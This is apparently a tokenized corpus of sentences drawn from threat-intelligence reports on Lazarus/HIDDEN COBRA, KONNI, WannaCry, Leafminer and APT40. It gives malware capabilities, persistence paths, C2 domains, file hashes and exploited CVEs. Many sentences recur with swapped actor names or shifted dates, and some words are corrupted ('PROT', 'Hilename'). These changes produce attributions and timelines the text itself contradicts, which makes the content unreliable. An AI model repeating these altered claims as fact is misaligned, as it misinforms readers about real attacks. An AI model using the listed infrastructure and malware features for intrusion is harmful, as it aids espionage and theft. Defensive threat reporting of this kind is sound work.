Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and the Bangladesh bank heist .
However , from this it 's only clear that Lazarus might have attacked Polish banks .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
Considering that the afterhack publications by the media mentioned that the investigation stumbled upon three different attackers , it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions , or if Lazarus had in fact developed its own malware to attack banks ' systems .
We would like to add some strong facts that link some attacks on banks to Lazarus , and share some of our own findings as well as shed some light on the recent TTPs used by the attacker , including some yet unpublished details from the attack in Europe in 2017 .
Lazarus attacks are not a local problem and clearly the group 's operations span across the whole world .
Lazarus was previously known to conduct cyberespionage and cybersabotage activities , such as attacks on Sony Pictures Entertainment with volumes of internal data leaked , and many system harddrives in the company wiped .
We believe that Lazarus Group is very large and works mainly on infiltration and espionage operations , while a substantially smaller units within the group , which we have dubbed Bluenoroff , is responsible for financial profit .
Lazarus regrouped and rushed into new countries , selecting mostly poorer and less developed locations , hitting smaller banks because they are , apparently , easy prey .
To date , the Lazarus group has been one of the most successful in launching large scale operations against the financial industry .
We believe that Lazarus will remain one of the biggest threats to the banking sector , finance , and trading companies , as well as casinos for the next few years .
We believe Lazarus started this watering hole attack at the end of 2016 after their other operation was interrupted in South East Asia .
We believe they started this watering hole campaign at the end of 2016 after their other operation was interrupted in South East Asia .
A rudimentary but somewhat clever design , KiloAlfa provides keylogging capability for the Lazarus Group 's collection of malicious tools .
The design of KiloAlfa is broken down into two basic components : the persistence functionality and the keylogging functionality .
The persistence functionality of KiloAlfa allows the malware to self-install on a victim 's machine when activated ( described below ) .
Evidence suggest that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples .
PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server for operations .
Rather , PapaAlfa could be considered a smart proxy due in part to the fact that the Lazarus can easily switch the backend destination address and PROT without having to reestablish control over the infected machine hosting the PapaAlfa malware .
In terms of form factor , PapaAlfa comes in two flavors : service DLL and standalone executable .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
While the tools profiled in this report are not inherently malicious , their capabilities are nonetheless integral to the Lazarus Group 's cyber operations , both espionage and destructive in nature , making them inherently dangerous to potential victims .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
Furthermore , like many other identified Lazarus Group families , these tools showcase the group 's creative solutions , such as the PapaAlfa , which makes it difficult to immediately identify potentially malicious activity on a compromised network .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .
This reverse engineering report looks at the RATs and staging malware found within the Lazarus Group 's collection .
Regardless of their sophistication or refinement , the malware families within the Lazarus Group 's India and Lima classes perform at a reasonable level for their designed purpose : the introduction and persistence of malware from the Lazarus Group on a victim 's infrastructure .
While the capabilities for the installers , loaders , and uninstallers in this report are relatively straight forward and single-focused , analysis of these malware families provide further insight into the capabilities of the Lazarus Group .
The Lazarus Group employs a variety of RATs that operate in both client mode and server mode .
The most common communication mode for a RAT is to act as a client to a remote server .
The Lazarus Group employs a variety of RATs and staging malware to conduct cyber operations , many of which contain significant code overlap that points to at least a shared development environment .
While some members within the Romeo and Sierra groups may not implement sound authentication strategies , shift their design focus in abrupt and unusual manners , and fail to understand the pitfalls of distributed command networks , on the whole the families within the Lazarus Group 's collection of RATs and staging malware perform their tasks with surprising effectiveness .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
McAfee Advanced Threat Research analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
McAfee Advanced Threat Research ( ATR ) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
The use of decoy documents also reveals some of the potential targets of the Lazarus group 's malicious activity , specifically the use spear phishing attacks observed targeting South Korean government and aerospace organizations .
The campaign lasted from April to October and used job descriptions relevant to target organizations , in both English and Korean language .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations .
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
This Malware Analysis Report ( MAR ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
When victims open malicious documents attached to the emails , the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control ( C2 ) server to a victim 's system via dual proxies .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware to establish persistence .
HIDDEN COBRA actors install the FALLCHILL malware to establish persistence .
Working with U.S. government partners , DHS and FBI identified Internet Protocol ( IP ) addresses and other indicators of compromise ( IOCs ) associated with a remote administration tool ( RAT ) used by the North Korean government—commonly known as FALLCHILL .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Because of this , additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL .
This campaign , dubbed Operation GhostSecret , leverages multiple implants , tools , and malware variants associated with the state-sponsored cyber group HIDDEN COBRA .
From March 18 to 26 we observed the malware operating in multiple LOCs of the world .
Furthermore , the Advanced Threat Research team has discovered Proxysvc , which appears to be an undocumented implant .
Our investigation into this campaign reveals that the actor used multiple malware implants , including an unknown implant with capabilities similar to Bankshot .
The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats , including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad , which was used in the Sony Pictures attack .
Based on our analysis of public and private information from submissions , along with product telemetry , it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017 .
This new variant resembles parts of the Destover malware , which was used in the 2014 Sony Pictures attack .
The Lazarus used a similar infrastructure to earlier threats , including the Destover backdoor variant known as Escad .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
The Advanced Threat Research team uncovered activity related to this campaign in March 2018 , when the actors targeted Turkish banks .
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KONNI : A Malware Under The Radar For Years .
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KONNI : A Malware Under The Radar For Years .
Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years .
During this time it has managed to avoid scrutiny by the security community .
The current version of the malware allows the operator to steal files , keystrokes , perform screenshots , and execute arbitrary code on the infected host .
Talos has named this malware KONNI .
Throughout the multiple campaigns observed over the last 3 years , the actor has used an email attachment as the initial infection vector .
They then use additional social engineering to prompt the target to open a .scr file , display a decoy document to the users , and finally execute the malware on the victim's machine .
The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost .
The malware has evolved over time .
In this article , we will analyse this evolution: at the beginning the malware was only an information stealer without remote administration , it moved from a single file malware to a dual file malware (an executable and a dynamic library ) , the malware has supported more and more features over the time , the decoy documents have become more and more advanced .
The different versions contain copy/pasted code from previous versions .
Moreover the new version searches for files generated by previous versions .
This evolution is illustrated across 4 campaigns : one in 2014 , one in 2016 and finally two in 2017 .
The decoy document of the 2 last campaigns suggests that the targets are public organisations .
Both documents contained email addresses , phone numbers and contacts of members of official organizations such as United Nations , UNICEF , and Embassies linked to North Korea .
In this campaign , the dropper filename was beauty.scr .
Based on the compilation date of the two binaries , this campaign took place in September 2014 .
Once executed , two files were dropped on the targeted system : a decoy document (a picture) and a fake svchost.exe binary .
Both files were stored in "C:\Windows" .
The fake svchost binary is the KONNI malware .
The first task of the malware is to generate an ID to identify the infected system .
This ID is generated based on the installation date of the system .
The second task of malware is to ping the CC and get orders .
The malware includes 2 domains: phpschboy.prohosts.org , jams481.site.bz .
The developer used the Microsoft Winsocks API to handle the network connection .
Surprisingly , this isn't the easiest or the most efficient technical choice for HTTP connection .
The malware samples we analysed connected to only one URI: <c2-domain>/login.php .
This version of KONNI is not designed to execute code on the infected system .
The purpose is to be executed only once and steal data on the infected system , here are the main features : Keyloggers , Clipboard stealer , Firefox profiles and cookies stealer , Chrome profiles and cookies stealer , Opera profiles and cookies stealer .
The name of the .scr file was directly linked to tension between North Korea and USA in March 2016 more information .
Based on the compilation dates of the binaries , the campaign took place in the same period .
An interesting fact : the dropped library was compiled in 2014 and appears in our telemetry in August 2015 .
Indicating that this library was probably used in another campaign .
The .scr file contains 2 Office documents .
The first document was in English and a second in Russian .
In the sample only the English version can be displayed to the user (that is hardcoded in the sample) .
The Russian document is not used by the sample , we assume that the author of the malware forgot to remove the resource containing the Russia decoy document .
The malware author changed the malware architecture , this version is divided in two binaries: conhote.dll , winnit.exe .
Another difference is the directory where the files are dropped , it's no longer C:\Windows but rather the local setting of the current user (%USERPROFILE%\Local Settings\winnit\winnit.exe) .
Thanks to this modification , the malware can be executed with a non-administrator account .
The .dll file is executed by the .exe file .
In this version , a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk .
As you can see the attacker has went to great lengths to disguise his service as a legitimate Antivirus Service by using the name 'Anti virus service.lnk' .
This is of course simple but often it can be enough for a user to miss something malicious by name .
As in the previous version , the ID of the infected system is generated with exactly the same method .
The C2 is different and the analysed version this time only contains a single domain: dowhelsitjs.netau.net .
In this version , the developer used a different API , the Wininet API which make more sense for Web requests .
Moreover the C2 infrastructure evolved too , morefiles are available through the web hosting: <c2-domain>/login.php <c2-domain>/upload.php <c2-domain>/download.php .
This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution .
The library is only used to perform keylogging and clipboard stealing .
Indeed , the malware author moved this part of the code from the core of the malware to a library .
An interesting element is that the malware looks for filenames created with the previous version of KONNI .
This implies that the malware targeted the same people as the previous version and they are designed to work together .
The malware internally uses the following files : solhelp.ocx sultry.ocx helpsol.ocx psltre.ocx screentmp.tmp (log file of the keylogger) spadmgr.ocx apsmgrd.ocx wpg.db .
In this campaign , the malware author uses the following name: Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.scr. The decoy document shown after infection is an Office document containing email addresses , phone numbers and contacts of members of official organizations such as the United Nations , UNICEF , Embassies linked to North Korea .
The .scr files drops two files: an executable and a library .
As in the previous version , the persistence is achieved by a Windows shortcut (in this case adobe distillist.lnk ) .
Contrary to the previous version , the developers moved the core of malware to the library .
The executable performs the following tasks: If the system is a 64-bit version of Windows , it downloads and executes a specific 64-bit version of the malware thanks to a powershell script .
Loading the dropped library .
The library contains the same features as the previous version as well as new ones .
This version of KONNI is the most advanced with better coding .
The malware configuration contains one Command and Control: pactchfilepacks.net23.net .
A new URI is available: <c2-domain>/uploadtm.php .
This URI is used with a new feature implemented in this version: the malware is able to perform screenshot (thanks to the GDI API) and uploads it thank to this URL .
The malware checks if a file used on a previous version of KONNI is available on the system .
Here is the complete list of files internally used by the RAT: error.tmp (the log file of the keylogger) tedsul.ocx helpsol.ocx trepsl.ocx psltred.ocx solhelp.ocx sulted.ocx .
The handling of instructions has improved too .
Here are the 7 actions that the infected machine can be instructed to perform: Delete a specific file .
Upload a specific file based on a filename .
Upload a specific file based on the full path name .
Create a screenshot and uploads it on the C2 .
Get system information .
Download a file from the Internet .
Execute a command .
When the attacker wants to gather information on the infected system (action 5) , it retrieves the following information: Hostname IP address Computer name Username name Connected drive OS version Architecture Start menu programs Installed software .
The last identified campaign where KONNI was used was named Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.scr .
This file drops exactly the same files than the previous campaign but the decoy document is different .
This document contains the name , phone number and email address of members of agencies , embassies and organizations linked to North Korea .
The analysis shows us the evolution of KONNI over the last 3 years .
The last campaign was started a few days ago and is still active .
The infrastructure remains up and running at the time of this post .
The RAT has remained under the Radar for multiple years .
An explanation could be the fact that the campaign was very limited nature , which does not arouse suspicion .
This investigation shows that the author has evolved technically (by implementing new features) and in the quality of the decoy documents .
The campaign of April 2017 used pertinent documents containing potentially sensitive data .
Moreover the metadata of the Office document contains the names of people who seems to work for a public organization .
We don't know if the document is a legitimate compromised document or a fake that the attacker has created in an effort to be credible .
Clearly the author has a real interest in North Korea , with 3 of the 4 campaigns are linked to North Korea .
Additional ways our customers can detect and block this threat are listed below .
Advanced Malware Protection ( AMP ) is ideally suited to prevent the execution of the malware used by these threat actors .
CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks .
Email Security can block malicious emails sent by threat actors as part of their campaign .
The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors .
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products .
Umbrella , our secure internet gateway (SIG) , blocks users from connecting to malicious domains , IPs , and URLs , whether users are on or off the corporate network .
SHA256 : 413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f .
Filename: beauty.scr .
SHA256 : eb90e40fc4d91dec68e8509056c52e9c8ed4e392c4ac979518f8d87c31e2b435 .
Filename: C:\Windows\beauty.jpg .
File type: JPEG image data , JFIF standard 1.02 .
SHA256 : 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9 .
Hilename: C:\Windows\svchost.exe .
File type: PE32 executable (GUI) Intel 80386 , for MS Windows .
SHA256 : 94113c9968db13e3412c1b9c1c882592481c559c0613dbccfed2fcfc80e77dc5 .
Filename: How can North Korean hydrogen bomb wipe out Manhattan.scr .
SHA256 : 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 .
Filename: conhote.dll .
SHA256 : 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc .
Filename: winnit.exe .
SHA256 : 92600679bb183c1897e7e1e6446082111491a42aa65a3a48bd0fceae0db7244f .
Filename: Anti virus service.lnk .
dowhelsitjs.netau.net .
SHA256 : 69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0 .
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Filename: Pyongyang Directory Group email April 2017.RC_Office_Coordination_Associate.scr .
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Filename: Pyongyang Directory Group email April 2017.RC_Office_Coordination_Associate.scr .
SHA256 : 4585584fe7e14838858b24c18a792b105d18f87d2711c060f09e62d89fc3085b .
Filename: adobe distillist.lnk .
SHA256 : 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 .
Filename: winload.exe .
SHA256 : dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d .
Filename: winload.dll .
Pactchfilepacks.net23.net .
checkmail.phpnet.us .
Lazarus used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Feedback from our Smart Protection Network revealed that apart from attacks in North America ( mainly the U.S. ) , Europe , and South America , the campaign also noticeably affected enterprises in Taiwan , Hong Kong , China , and Bahrain .
On February 28 , the McAfee discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
On February 28 , the McAfee Advanced Threat Research team discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
In this analysis , we observed the return of HIDDEN COBRA 's Bankshot malware implant surfacing in the Turkish financial system .
In this new , aggressive campaign we see a return of the Bankshot implant , which last appeared in 2017 .
This attack resembles previous attacks by HIDDEN COBRA conducted against the SWIFT .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
These implants are variations of earlier forms of Bankshot , a remote access tool that gives an attacker full capability on a victim 's system .
Bankshot was first reported by the Department of Homeland Security on December 13 , 2017 , and has only recently resurfaced in newly compiled variants .
We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey ( and possibly other countries ) .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
This malware is capable of accessing device configuration data , downloading additional files , executing commands , modifying the registry , capturing screen shots , and exfiltrating data .
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system .
It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections ; however , HIDDEN COBRA actors use a suite of custom tools , some of which could also be used to initially compromise a system .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Lazarus actors commonly maintain persistence on a victim 's system by installing the malware-as-a-service .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government - referred to by the U.S. Government as BADCALL .
The malware uses a custom binary protocol to beacon back to the command and control ( C2 ) server , often via TCP PROT 8080 or 8088 , with some payloads implementing Secure Socket Layer ( SSL ) encryption to obfuscate communications .
DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity .
The malware known as RATANKBA is just one of the weapons in Lazarus ' arsenal .
We analyzed a new RATANKBA variant ( BKDR_RATANKBA.ZAEL–A ) , discovered in June 2017 , that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified .
Around 55% of the victims of Lazarus were located in India and neighboring countries .
Lazarus group could have been active since late 2016 , was used in a recent campaign targeting financial institutions using watering hole attacks .
Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government , these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history .
It 's possible that Lazarus is using RATANKBA to target larger organizations .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses .
simultaneous use of the detected Win32/KillDisk.NBO variants .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government – commonly known as HARDRAIN .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The cybercriminal group Lazarus has a history of attacking financial organizations in Asia and Latin America .
We also recently discovered that Lazarus successfully planted their backdoor ( detected by Trend Micro as BKDR_BINLODR.ZNFJ-A ) into several machines of financial institutions across Latin America .
We determined that these backdoors were installed on the targets ' machines on September 19 2018 , based mainly on the service creation time of the loader component .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
These and other tools used by the Lazarus group can be mitigated by routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
We also saw that the attack technique bears some resemblance to a previous 2017 Lazarus attack , analyzed by BAE Systems , against targets in Asia .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
Notably , after the first SMB packet sent to the victim 's IP address , WannaCry sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5 .
WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
In May 2017 , SecureWorks® Counter Threat Unit® ( CTU ) researchers investigated a widespread and opportunistic WCry ( also known as WanaCry , WanaCrypt , and Wana Decrypt0r ) ransomware campaign that impacted many systems around the world .
In November 2017 , SecureWorks Counter Threat Unit ( CTU ) researchers investigated a widespread and opportunistic WCry ransomware campaign that impacted many systems around the world .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
The campaign 's use of an SMB worm to distribute WCry contributed to the ransomware 's virulence .
Last week Microsoft , working together with Facebook and others in the security community , took strong steps to protect our customers and the internet from ongoing attacks by an advanced persistent threat actor known to us as ZINC , also known as the Lazarus Group .
Last week Microsoft , working together with Facebook , took strong steps to protect our customers and the internet from ongoing attacks by the Lazarus Group .
We concluded that Lazarus Group was responsible for WannaCry , a destructive malware .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus .
In November 2017 , Secureworks Counter Threat Unit™ ( CTU ) researchers discovered the North Korean cyber threat group , known as Lazarus Group and internally tracked as NICKEL ACADEMY by Secureworks , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
In November 2017 , CTU researchers discovered the North Korean cyber threat group , known as Lazarus Group , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
CTU researchers assess this as the continuation of activity first observed in 2016 , and it is likely that the campaign is ongoing .
CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns .
There are several indicators , which have led CTU researchers to believe with high confidence that NICKEL ACADEMY is behind the current spearphishing campaign .
CTU researchers also identified components in the custom C2 protocol being used which they have seen utilized by Nickel Academy ( Lazarus ) previously .
CTU researchers also identified components in the custom C2 protocol being used ( the ACT in which the malware talks to the Command and Control Servers ) which they have seen utilized by Nickel Academy ( Lazarus ) previously .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group .
During our investigation , there was a breakthrough discovery that helped connect Leafminer to a number of attacks observed on systems in the Middle East and identify the toolkit used in the group 's efforts of intrusion , lateral movement , and Exfiltration .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the Leafminer .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Researching the hacker handle MagicCoder results in references to the Iranian hacking forum Ashiyane as well as defacements by the Iranian hacker group Sun Army .
Targeted regions included in the list of Leafminer are Saudi Arabia , United Arab Emirates , Qatar , Kuwait , Bahrain , Egypt , Israel , and Afghanistan .
Our investigation of Leafminer started with the discovery of JavaScript code on several compromised websites in the Middle East .
This included the Fuzzbunch framework that was part of an infamous leak of exploits and tools by the Shadow Brokers in April 2017 .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploits from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
Furthermore , the Leafminer arsenal server hosted a Python script to scan for this vulnerability .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
Commands found in a readme text that was stored in a ZIP archive together with the hacktool THC Hydra in Leafminer 's tool arsenal represent online dictionary attacks on Microsoft Exchange and Remote Desktop Protocol services of regional government servers in Saudi Arabia .
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Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
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Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
Leafminer is a highly active group , responsible for targeting a range of organizations across the Middle East .
Leafminer appears to be based in Iran and seems to be eager to learn from and capitalize on tools and techniques used by more advanced threat actors .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
Dragos has identified Leafminer group targeting access operations in the electric utility sector .
Analysis of RASPITE tactics , techniques , and procedures ( TTPs ) indicate the group has been active in some form since early - to mid-2017 .
RASPITE targeting includes entities in the US , Middle East , Europe , and East Asia .
RASPITE overlaps significantly with Symantec 's Leafminer , which recently released a report on the group 's activity in the Middle East .
RASPITE 's activity to date currently focuses on initial access operations within the electric utility sector .
This means that the Leafminer group is targeting electric utilities .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the ACT for later potential ICS events .
Active since at least 2014 , this actor has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
Active since at least 2014 , the Leviathan has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The period between November 2014 and January 2015 marked one of the earlier instances in which Proofpoint observed persistent exploitation attempts by this actor .
The Leviathan , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
This actor , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013 , dubbed TEMP.Periscope .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
The current campaign is a sharp escalation of detected activity since summer 2017 .
Since early 2018 , FireEye ( including our FireEye as a Service ( FaaS ) , Mandiant Consulting , and iSIGHT Intelligence teams ) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities , especially those connected to South China Sea issues .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope overlaps in targeting , as well as tactics , techniques , and procedures ( TTPs ) , with TEMP.Jumper , a group that also overlaps significantly with public reporting on NanHaiShu .
The actor has conducted operations since at least 2013 in support of China 's naval modernization effort .
FireEye is highlighting a Cyber Espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
The Leviathan group has specifically targeted engineering , transportation , and the defense industry , especially where these sectors overlap with maritime technologies .
We believe APT40 's emphasis on maritime issues and naval technology ultimately support China 's ambition to establish a blue-water navy .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
We assess with moderate confidence that APT40 is a state-sponsored Chinese Cyber Espionage operation .
The actor 's targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China .
Analysis of the operational times of the group 's activities indicates that it is probably centered around China Standard TIME ( UTC +8 ) .
APT40 relies heavily on web shells for an initial foothold into an organization .
